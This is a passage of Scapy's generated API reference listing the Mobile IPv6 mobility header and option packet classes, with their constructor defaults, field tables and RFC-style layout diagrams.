	_PhantomAutoPadField

	1



	options

	_OptionsField

	[]











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3334-L3335]

	








	
class scapy.layers.inet6.MIP6MH_BE(_pkt, /, *, nh=59, len=None, mhtype=7, res=0, cksum=None, status=0, reserved=0, ha='::', options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3353-L3365]

	Bases: _MobilityHeader


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       NH      |      LEN      |     MHTYPE    |      RES      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CKSUM             |     STATUS    |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               HA                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. MIP6MH_BE                          


MIP6MH_BE fields






	nh

	ByteEnumField

	59



	len

	ByteField

	None



	mhtype

	ByteEnumField

	7



	res

	ByteField

	0



	cksum

	XShortField

	None



	status

	ByteEnumField

	0



	reserved

	ByteField

	0



	ha

	IP6Field

	'::'



	options

	_OptionsField

	[]















	
class scapy.layers.inet6.MIP6MH_BRR(_pkt, /, *, nh=59, len=None, mhtype=0, res=None, cksum=None, res2=None, autopad=1, options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3202-L3219]

	Bases: _MobilityHeader


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       NH      |      LEN      |     MHTYPE    |      RES      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CKSUM             |              RES2             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AUTOPAD    |            OPTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. MIP6MH_BRR                          


MIP6MH_BRR fields






	nh

	ByteEnumField

	59



	len

	ByteField

	None



	mhtype

	ByteEnumField

	0



	res

	ByteField

	None



	cksum

	XShortField

	None



	res2

	ShortField

	None



	autopad

	_PhantomAutoPadField

	1



	options

	_OptionsField

	[]











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3215-L3219]

	








	
class scapy.layers.inet6.MIP6MH_BU(_pkt, /, *, nh=59, len=None, mhtype=5, res=None, cksum=None, seq=None, flags=<Flag 104 (KHA)>, reserved=0, mhtime=3, autopad=1, options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3292-L3314]

	Bases: _MobilityHeader


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3311-L3314]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       NH      |      LEN      |     MHTYPE    |      RES      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CKSUM             |              SEQ              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FLAGS    |     RESERVED    |             MHTIME            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AUTOPAD    |            OPTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. MIP6MH_BU                          


MIP6MH_BU fields






	nh

	ByteEnumField

	59



	len

	ByteField

	None



	mhtype

	ByteEnumField

	5



	res

	ByteField

	None



	cksum

	XShortField

	None



	seq

	XShortField

	None



	flags

	FlagsField

	<Flag 104 (KHA)>



	reserved

	XBitField  (9 bits)

	0



	mhtime

	LifetimeField

	3



	autopad

	_PhantomAutoPadField

	1



	options

	_OptionsField

	[]











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3308-L3309]

	








	
class scapy.layers.inet6.MIP6MH_CoT(_pkt, /, *, nh=59, len=None, mhtype=4, res=None, cksum=None, index=None, cookie=b'\x00\x00\x00\x00\x00\x00\x00\x00', token=b'\x00\x00\x00\x00\x00\x00\x00\x00', autopad=1, options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3273-L3284]

	Bases: MIP6MH_HoT


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3280-L3284]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       NH      |      LEN      |     MHTYPE    |      RES      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CKSUM             |             INDEX             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             COOKIE                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             TOKEN                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AUTOPAD    |            OPTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. MIP6MH_CoT                          


MIP6MH_CoT fields






	nh

	ByteEnumField

	59



	len

	ByteField

	None



	mhtype

	ByteEnumField

	4



	res

	ByteField

	None



	cksum

	XShortField

	None



	index

	ShortField

	None



	cookie

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'



	token

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'



	autopad

	_PhantomAutoPadField

	1



	options

	_OptionsField

	[]











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3277-L3278]

	








	
class scapy.layers.inet6.MIP6MH_CoTI(_pkt, /, *, nh=59, len=None, mhtype=2, res=None, cksum=None, reserved=b'\x00\x00', cookie=b'\x00\x00\x00\x00\x00\x00\x00\x00', autopad=1, options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3240-L3245]

	Bases: MIP6MH_HoTI


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       NH      |      LEN      |     MHTYPE    |      RES      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CKSUM             |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             COOKIE                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AUTOPAD    |            OPTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. MIP6MH_CoTI                         


MIP6MH_CoTI fields






	nh

	ByteEnumField

	59



	len

	ByteField

	None



	mhtype

	ByteEnumField

	2



	res

	ByteField

	None



	cksum

	XShortField

	None



	reserved

	StrFixedLenField

	b'\x00\x00'



	cookie

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'



	autopad

	_PhantomAutoPadField

	1



	options

	_OptionsField

	[]











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3244-L3245]

	








	
class scapy.layers.inet6.MIP6MH_Generic(_pkt, /, *, nh=59, len=None, mhtype=None, res=None, cksum=None, msg=b'\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3191-L3199]

	Bases: _MobilityHeader


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       NH      |      LEN      |     MHTYPE    |      RES      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CKSUM             |              MSG              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. MIP6MH_Generic                        


MIP6MH_Generic fields






	nh

	ByteEnumField

	59



	len

	ByteField

	None



	mhtype

	ByteEnumField

	None



	res

	ByteField

	None



	cksum

	XShortField

	None



	msg

	StrLenField

	b'\x00\x00'















	
class scapy.layers.inet6.MIP6MH_HoT(_pkt, /, *, nh=59, len=None, mhtype=3, res=None, cksum=None, index=None, cookie=b'\x00\x00\x00\x00\x00\x00\x00\x00', token=b'\x00\x00\x00\x00\x00\x00\x00\x00', autopad=1, options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3248-L3270]

	Bases: _MobilityHeader


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3266-L3270]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       NH      |      LEN      |     MHTYPE    |      RES      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CKSUM             |             INDEX             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             COOKIE                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             TOKEN                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AUTOPAD    |            OPTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. MIP6MH_HoT                          


MIP6MH_HoT fields






	nh

	ByteEnumField

	59



	len

	ByteField

	None



	mhtype

	ByteEnumField

	3



	res

	ByteField

	None



	cksum

	XShortField

	None



	index

	ShortField

	None



	cookie

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'



	token

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'



	autopad

	_PhantomAutoPadField

	1



	options

	_OptionsField

	[]











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3263-L3264]

	








	
class scapy.layers.inet6.MIP6MH_HoTI(_pkt, /, *, nh=59, len=None, mhtype=1, res=None, cksum=None, reserved=b'\x00\x00', cookie=b'\x00\x00\x00\x00\x00\x00\x00\x00', autopad=1, options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3222-L3237]

	Bases: _MobilityHeader


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       NH      |      LEN      |     MHTYPE    |      RES      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CKSUM             |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             COOKIE                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AUTOPAD    |            OPTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. MIP6MH_HoTI                         


MIP6MH_HoTI fields






	nh

	ByteEnumField

	59



	len

	ByteField

	None



	mhtype

	ByteEnumField

	1



	res

	ByteField

	None



	cksum

	XShortField

	None



	reserved

	StrFixedLenField

	b'\x00\x00'



	cookie

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'



	autopad

	_PhantomAutoPadField

	1



	options

	_OptionsField

	[]











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3236-L3237]

	








	
class scapy.layers.inet6.MIP6OptAltCoA(_pkt, /, *, otype=3, olen=16, acoa='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2924-L2930]

	Bases: _MIP6OptAlign


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |      OLEN     |              ACOA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. MIP6OptAltCoA                        


MIP6OptAltCoA fields






	otype

	ByteEnumField

	3



	olen

	ByteField

	16



	acoa

	IP6Field

	'::'











	
x = 8

	




	
y = 6

	








	
class scapy.layers.inet6.MIP6OptBRAdvice(_pkt, /, *, otype=2, olen=2, rinter=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2915-L2921]

	Bases: _MIP6OptAlign


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |      OLEN     |             RINTER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. MIP6OptBRAdvice                       


MIP6OptBRAdvice fields






	otype

	ByteEnumField

	2



	olen

	ByteField

	2



	rinter

	ShortField

	0











	
x = 2

	




	
y = 0

	








	
class scapy.layers.inet6.MIP6OptBindingAuthData(_pkt, /, *, otype=5, olen=16, authenticator=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2943-L2949]

	Bases: _MIP6OptAlign


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |      OLEN     |         AUTHENTICATOR         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. MIP6OptBindingAuthData                    


MIP6OptBindingAuthData fields






	otype

	ByteEnumField

	5



	olen

	ByteField

	16



	authenticator

	BitField  (96 bits)

	0











	
x = 8

	




	
y = 2

	








	
class scapy.layers.inet6.MIP6OptCGAParams(_pkt, /, *, otype=12, olen=None, cgaparams=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3046-L3053]

	Bases: _MIP6OptAlign


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |      OLEN     |           CGAPARAMS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. MIP6OptCGAParams                       


MIP6OptCGAParams fields






	otype

	ByteEnumField

	12



	olen

	FieldLenField

	None



	cgaparams

	StrLenField

	b''











	
x = 0

	




	
y = 0

	








	
class scapy.layers.inet6.MIP6OptCGAParamsReq(_pkt, /, *, otype=11, olen=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3034-L3039]

	Bases: _MIP6OptAlign


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |      OLEN     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. MIP6OptCGAParamsReq                     


MIP6OptCGAParamsReq fields






	otype

	ByteEnumField

	11



	olen

	ByteField

	0











	
x = 0

	




	
y = 0

	








	
class scapy.layers.inet6.MIP6OptCareOfTest(_pkt, /, *, otype=16, olen=None, cokt=b'\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3084-L3091]

	Bases: _MIP6OptAlign


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |      OLEN     |              COKT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. MIP6OptCareOfTest                      


MIP6OptCareOfTest fields






	otype

	ByteEnumField

	16



	olen

	FieldLenField

	None



	cokt

	StrLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'











	
x = 0

	




	
y = 0

	








	
class scapy.layers.inet6.MIP6OptCareOfTestInit(_pkt, /, *, otype=15, olen=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3076-L3081]

	Bases: _MIP6OptAlign


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |      OLEN     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. MIP6OptCareOfTestInit                    


MIP6OptCareOfTestInit fields






	otype

	ByteEnumField

	15



	olen

	ByteField

	0











	
x = 0

	




	
y = 0

	








	
class scapy.layers.inet6.MIP6OptHomeKeygenToken(_pkt, /, *, otype=14, olen=None, hkt=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3066-L3073]

	Bases: _MIP6OptAlign


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |      OLEN     |              HKT              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. MIP6OptHomeKeygenToken                    


MIP6OptHomeKeygenToken fields






	otype

	ByteEnumField

	14



	olen

	FieldLenField

	None



	hkt

	StrLenField

	b''











	
x = 0

	




	
y = 0

	








	
class scapy.layers.inet6.MIP6OptLLAddr(_pkt, /, *, otype=7, olen=7, ocode=2, pad=0, lla='00:00:00:00:00:00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2963-L2971]

	Bases: _MIP6OptAlign


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |      OLEN     |     OCODE     |      PAD      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              LLA                              |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. MIP6OptLLAddr                        


MIP6OptLLAddr fields






	otype

	ByteEnumField

	7



	olen

	ByteField

	7



	ocode

	ByteEnumField

	2



	pad

	ByteField

	0



	lla

	MACField

	'00:00:00:00:00:00'











	
x = 0

	




	
y = 0

	








	
class scapy.layers.inet6.MIP6OptMNID(_pkt, /, *, otype=8, olen=None, subtype=1, id=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2974-L2983]

	Bases: _MIP6OptAlign


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |      OLEN     |    SUBTYPE    |       ID      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. MIP6OptMNID                         


MIP6OptMNID fields






	otype

	ByteEnumField

	8



	olen

	FieldLenField

	None



	subtype

	ByteEnumField

	1



	id

	StrLenField

	b''











	
x = 0

	




	
y = 0

	








	
class scapy.layers.inet6.MIP6OptMobNetPrefix(_pkt, /, *, otype=6, olen=18, reserved=0, plen=64, prefix='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2952-L2960]

	Bases: _MIP6OptAlign


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |      OLEN     |    RESERVED   |      PLEN     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             PREFIX                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. MIP6OptMobNetPrefix                     


MIP6OptMobNetPrefix fields






	otype

	ByteEnumField

	6



	olen

	ByteField

	18



	reserved

	ByteField

	0



	plen

	ByteField

	64



	prefix

	IP6Field

	'::'











	
x = 8

	




	
y = 4

	








	
class scapy.layers.inet6.MIP6OptMsgAuth(_pkt, /, *, otype=9, olen=None, subtype=1, mspi=None, authdata=b'AAAAAAAAAAAA')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2990-L3001]

	Bases: _MIP6OptAlign


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |      OLEN     |    SUBTYPE    |      MSPI     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |    AUTHDATA   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. MIP6OptMsgAuth                        


MIP6OptMsgAuth fields






	otype

	ByteEnumField

	9



	olen

	FieldLenField

	None



	subtype

	ByteEnumField

	1



	mspi

	IntField

	None



	authdata

	StrLenField

	b'AAAAAAAAAAAA'











	
x = 4

	




	
y = 1

	








	
class scapy.layers.inet6.MIP6OptNonceIndices(_pkt, /, *, otype=4, olen=16, hni=0, coni=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2933-L2940]

	Bases: _MIP6OptAlign


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |      OLEN     |              HNI              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              CONI             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. MIP6OptNonceIndices                     


MIP6OptNonceIndices fields






	otype

	ByteEnumField

	4



	olen

	ByteField

	16



	hni

	ShortField

	0



	coni

	ShortField

	0











	
x = 2

	




	
y = 0

	








	
class scapy.layers.inet6.MIP6OptReplayProtection(_pkt, /, *, otype=10, olen=8, timestamp=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3025-L3031]

	Bases: _MIP6OptAlign


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |      OLEN     |           TIMESTAMP           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. MIP6OptReplayProtection                   


MIP6OptReplayProtection fields






	otype

	ByteEnumField

	10



	olen

	ByteField

	8



	timestamp

	NTPTimestampField

	0











	
x = 8

	




	
y = 2

	








	
class scapy.layers.inet6.MIP6OptSignature(_pkt, /, *, otype=13, olen=None, sig=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3056-L3063]

	Bases: _MIP6OptAlign


	
aliastypes

	




	
fields_desc

